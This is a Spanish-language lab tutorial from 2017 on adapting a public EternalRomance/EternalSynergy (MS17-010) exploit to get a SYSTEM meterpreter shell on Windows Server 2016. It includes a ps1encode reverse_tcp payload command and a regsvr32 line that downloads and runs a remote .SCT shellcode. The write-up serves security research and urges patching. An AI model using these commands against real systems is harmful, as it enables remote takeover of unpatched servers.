Вы находитесь на странице: 1из 13

EXPLOTAR ETERNALROMANCE/SYNERGY PARA OBTENER UNA

SHELL DE METERPRETER EN WINDOWS SERVER 2016

Sheila A. Berta (@UnaPibaGeek) – Security Researcher at Eleven Paths

shey.x7@gmail.com || sheila.berta@11paths.com

Julio 12, 2017

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 1


Tabla de contenidos
EXPLOTAR ETERNALROMANCE/SYNERGY PARA OBTENER UNA SHELL DE METERPRETER EN WINDOWS
SERVER 2016 ................................................................................................................................................. 1
Introducción .................................................................................................................................................. 3
Entorno de laboratorio .............................................................................................................................. 3
Obtención del exploit.................................................................................................................................... 5
Resolver dependencias.............................................................................................................................. 5
Comprobación de funcionamiento ............................................................................................................... 6
Datos de autenticación.............................................................................................................................. 6
Parámetros ................................................................................................................................................ 6
Ejecución sin shellcode .............................................................................................................................. 7
Preparación de una shellcode ....................................................................................................................... 8
Generar archivo .SCT con PS1ENCODE ...................................................................................................... 8
Permitir descarga de shellcode.sct ............................................................................................................ 9
Alteración del comportamiento del exploit ................................................................................................ 10
Ejecutar la shellcode................................................................................................................................ 10
Obtención de la sesión de meterpreter ...................................................................................................... 11
Palabras finales… ........................................................................................................................................ 13

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 2


Introducción
Cuando Microsoft publicó los parches para la vulnerabilidad MS17-010, quedó expuesto que el problema
afectaba desde Windows 7 (Vista en realidad, pero bueno, ese no cuenta :p) hasta Windows Server 2016.
Sin embargo, la serie de exploits “ETERNALS” publicados por TheShadowBrokers, presentan gran
inestabilidad al intentar impactar sistemas con Windows Server 2012 en adelante, provocando la mayoría
de las veces un BSOD en el equipo atacado.

Con el objetivo de entender su funcionamiento y mejorarlos, los exploits de la NSA que se hicieron
públicos, han pasado por la lupa de muchos investigadores. Gracias a ello, hace pocos días se publicó un
exploit que aprovecha el bug de ETERNALROMANCE/SYNERGY, con mejoras en el método de explotación,
para hacerlo más estable al momento de atacar sistemas con Windows Server 2012 y 2016. Pero lo cierto
es que, al fiel estilo de su autor (Sleepya), si se quiere utilizar dicho exploit es necesario ingeniárselas un
poco, entender cómo funciona y modificar algunas pequeñas cosas para lograr que, al momento de
impactar un objetivo, ocurra lo que nosotros deseemos.

Es por eso que tras haberlo analizado, aquí estoy escribiendo un nuevo “how to” :). En este paso a paso
se explica todo lo necesario para hacer funcionar el exploit de Sleepya correctamente y cómo modificar
su comportamiento con el fin de obtener una sesión de meterpreter sobre el equipo objetivo.

Por supuesto, esta documentación es con fines de investigación.

Entorno de laboratorio
Para montar el entorno de laboratorio, es necesario configurar los siguientes equipos:

1. Máquina objetivo - Windows Server 2016

Una máquina con Windows Server 2016 de 64bits será utilizada como target.

Luego de la instalación del sistema, no es necesario realizar cambios en el mismo, simplemente conocer
su dirección IP y asegurarse de que esté encendido al realizar el ataque.

2. Máquina atacante – Preferentemente GNU/Linux

Es posible utilizar cualquier sistema como máquina atacante, siempre y cuando se puedan ejecutar
correctamente las siguientes herramientas:

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 3


• Python v2.7 - https://www.python.org/download/releases/2.7/
• Ps1Encode - https://github.com/CroweCybersecurity/ps1encode
• Metasploit Framework - https://github.com/rapid7/metasploit-framework

A continuación, el resumen de las configuraciones en el laboratorio:

• Windows Server 2016 x64 – IP: 10.0.2.13  Target.


• GNU/Linux Debian x64 – IP: 10.0.2.6  Atacante.

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 4


Obtención del exploit
El código fue publicado en exploit-db y puede ser descargado desde siguiente enlace:
https://www.exploit-db.com/exploits/42315/.

Como podemos observar, está escrito en Python, por lo tanto lo guardamos con extensión .py en la
máquina atacante. Una vez hecho esto, si lo ejecutamos nos encontraremos con el siguiente error:

A continuación se explica cómo solventar este problema.

Resolver dependencias
En línea número tres del exploit se importa el módulo “mysmb”, el cual no es propio de Python ni podemos
instalarlo usando pip. Este módulo fue desarrollado por Sleepya y tendremos que descargarlo desde su
github en el siguiente link: https://github.com/worawit/MS17-010/blob/master/mysmb.py.

Lo guardamos con el nombre de “mysmb.py” en la misma carpeta donde hemos descargado el exploit.
Recordemos que en Python, para que un script pueda importar el código de un módulo, es necesario crear
un archivo llamado “__INIT__.py” donde se encuentren los mismos.

Al hacer esto, el script del exploit encontrará el módulo necesario y no mostrará más errores.

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 5


Comprobación de funcionamiento
Es posible verificar el correcto funcionamiento del exploit sin hacer demasiadas modificaciones. Si lo
ejecutamos tal como está, una vez que la explotación sea exitosa creará un archivo llamado “pwned.txt”
en la unidad “C:\” del equipo atacado.

Aunque esta simple comprobación no requiere que modifiquemos nada del exploit en sí, debemos definir
igualmente algunos datos y parámetros que veremos a continuación.

Datos de autenticación
El bug que explota ETERNALROMANCE/SYNERGY requiere que el ataque sea autenticado. Bien podría ser
a través de una cuenta Guest si está habilitada, sino, tendremos que obtener el usuario y contraseña de
alguna cuenta en el equipo objetivo. Es importante destacar que no importan los privilegios de la cuenta,
aun si fuera “Guest”, los privilegios que obtendremos al impactar serán de SYSTEM.

Para definir esta información, debemos abrir el exploit.py con cualquier editor de texto y dirigirnos a las
líneas 26 y 27:

Allí podremos definir el usuario y contraseña a utilizar para la autenticación.

Parámetros
El exploit necesita que definamos dos parámetros: la IP del objetivo y el pipe name. El protocolo SMB
define que un recurso compartido puede ser de tres tipos diferentes:

- File: archivo o disco, incluyendo subdirectorios.


- Print: recursos para impresión.
- Pipe: comunicación entre procesos siguiendo el modelo FIFO, donde se conoce como named pipes
a aquellas conexiones que siguen vivas mientras el sistema siga en funcionamiento más allá de
que el proceso ya no se encuentre activo.

A diferencia de ETERNALBLUE, los exploits ETERNALROMANCE y ETERNALSYNERGY explotan un bug en el


acceso a named pipes, es por eso que es necesario definir cuál se utilizará al momento de impactar.

Personalmente suelo utilizar “spoolss”, otra opción es “browser”. También es posible utilizar el escáner
de metasploit: auxiliary/scanner/smb/pipe_auditor y ver cuáles se encuentran accesibles en el sistema
objetivo.

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 6


Ejecución sin shellcode
Sin más, procedemos a ejecutar el exploit con el siguiente comando:

python exploit.py <ip_objetivo> spoolss

Tal como se mencionó antes, si la explotación fue exitosa veremos que se ha creado un archivo llamado
“pwned.txt” en la unidad “C:\” del equipo atacado.

Haber logrado la explotación con éxito es un gran paso. A continuación, veremos cómo sacar mayor
provecho, modificando este último comportamiento en el exploit con el objetivo de ejecutar una shell
de meterpreter.

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 7


Preparación de una shellcode
Hay muchas formas de lograr que el exploit ejecute una shell de meterpreter o cualquier otra acción en
lugar de simplemente escribir aquel archivo.

El primer paso es generar la shellcode que usaremos, para hacerlo utilizaré una forma que personalmente
me gusta mucho y tiene numerosas ventajas a la hora de evadir controles de seguridad.

En resumen, la shellcode estará en un archivo .SCT que el exploit se encargará de descargar y ejecutar en
la máquina objetivo, devolviéndonos como resultado la tan ansiada sesión de meterpreter.

Generar archivo .SCT con PS1ENCODE


Ps1Encode es una herramienta muy útil que permite generar y codificar payloads de metasploit en
diversos formatos basados en PowerShell. Podemos obtenerla desde su github:
https://github.com/CroweCybersecurity/ps1encode.

Para generar el payload que necesitamos, ejecutaremos la herramienta con los siguientes parámetros:

ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<IP_ATACANTE> --


LPORT=4444 -t sct

El archivo .sct que estamos generando, tendremos que almacenarlo en un web server en la máquina
atacante o en cualquier otro equipo que pueda ser accedido sin problemas por la máquina objetivo. Es
por ello que, al ejecutar el comando anterior, la herramienta nos pregunta cuál será la URL completa
donde alojaremos el archivo .sct. Si vamos a usar la propia máquina atacante, simplemente ingresamos:
http://<IP_ATACANTE>.

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 8


Permitir descarga de shellcode.sct
El paso anterior nos generó un archivo llamado index.sct en la carpeta de ps1encode. Para que el mismo
pueda ser descargado por el exploit en la máquina objetivo, debemos moverlo a la carpeta del servidor
web y asignarle los permisos adecuados.

Tras realizar la ejecución de los comandos que vemos en la imagen superior, tendremos la shellcode
lista para ser usada.

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 9


Alteración del comportamiento del exploit
Si abrimos el exploit con un editor de texto y nos dirigimos a la línea 463 en adelante, nos encontraremos
con lo siguiente:

Allí vemos las funciones que el exploit utiliza para crear el archivo “pwned.txt” en la máquina atacada,
pero más interesante aún, es la línea por debajo de ellas, donde se encuentra comentada la función
service_exec().

Si observamos, aquella función ejecuta el comando “copy” como ejemplo, creando una copia de
“pwned.txt”. Esto no se ejecutará a menos que quitemos el numeral (#) que precede a la función. Si lo
hacemos y volvemos a ejecutar el exploit, notaremos que en la unidad “C:\” tendremos dos archivos de
texto: pwned.txt y pwned_exec.txt.

Es claro que podemos modificar el comando copy por cualquier otro que ejecute lo que nosotros
deseemos.

Ejecutar la shellcode
Ahora que conocemos donde modificar el exploit para cambiar su comportamiento final, editaremos la
línea que invoca a la función service_exec() para que ejecute el comando que se encargará de descargar y
ejecutar la shell de meterpreter:

regsvr32 /s /n /u /i:http://<ip_atacante_webserver>/shellcode.sct scrobj.dll

El exploit quedará de la siguiente forma:

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 10


Obtención de la sesión de meterpreter
Finalmente, antes de realizar la ejecución del exploit.py, configuramos el exploit/multi/handler de
metasploit para recibir la sesión de meterpreter.

Volvemos a ejecutar el exploit guardando las modificaciones que hemos realizado en el paso anterior.

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 11


Tras unos pocos segundos, obtendremos la sesión de meterpreter en la máquina objetivo, con privilegios
de SYSTEM.

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 12


Palabras finales…
No hay tiempo para palabras finales, ve a parchear tus sistemas :-).

Agradecimientos:

Worawit Wang (@sleepya_).

Por bancarme siempre:


Claudio Caracciolo (@holesec).
Mateo Martinez (@MateoMartinezOK).
Luciano Martins (@clucianomartins).
Arturo Busleiman (@buanzo).
Ezequiel Sallis (@simubucks).
Cristian Borghello (@crisborghe / @seguinfo).
Sol O. (@0zz4n5).

@DragonJar || @ekoparty || “Las Pibas de Infosec”.

--
Sheila A. Berta - @UnaPibaGeek.

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 13

Вам также может понравиться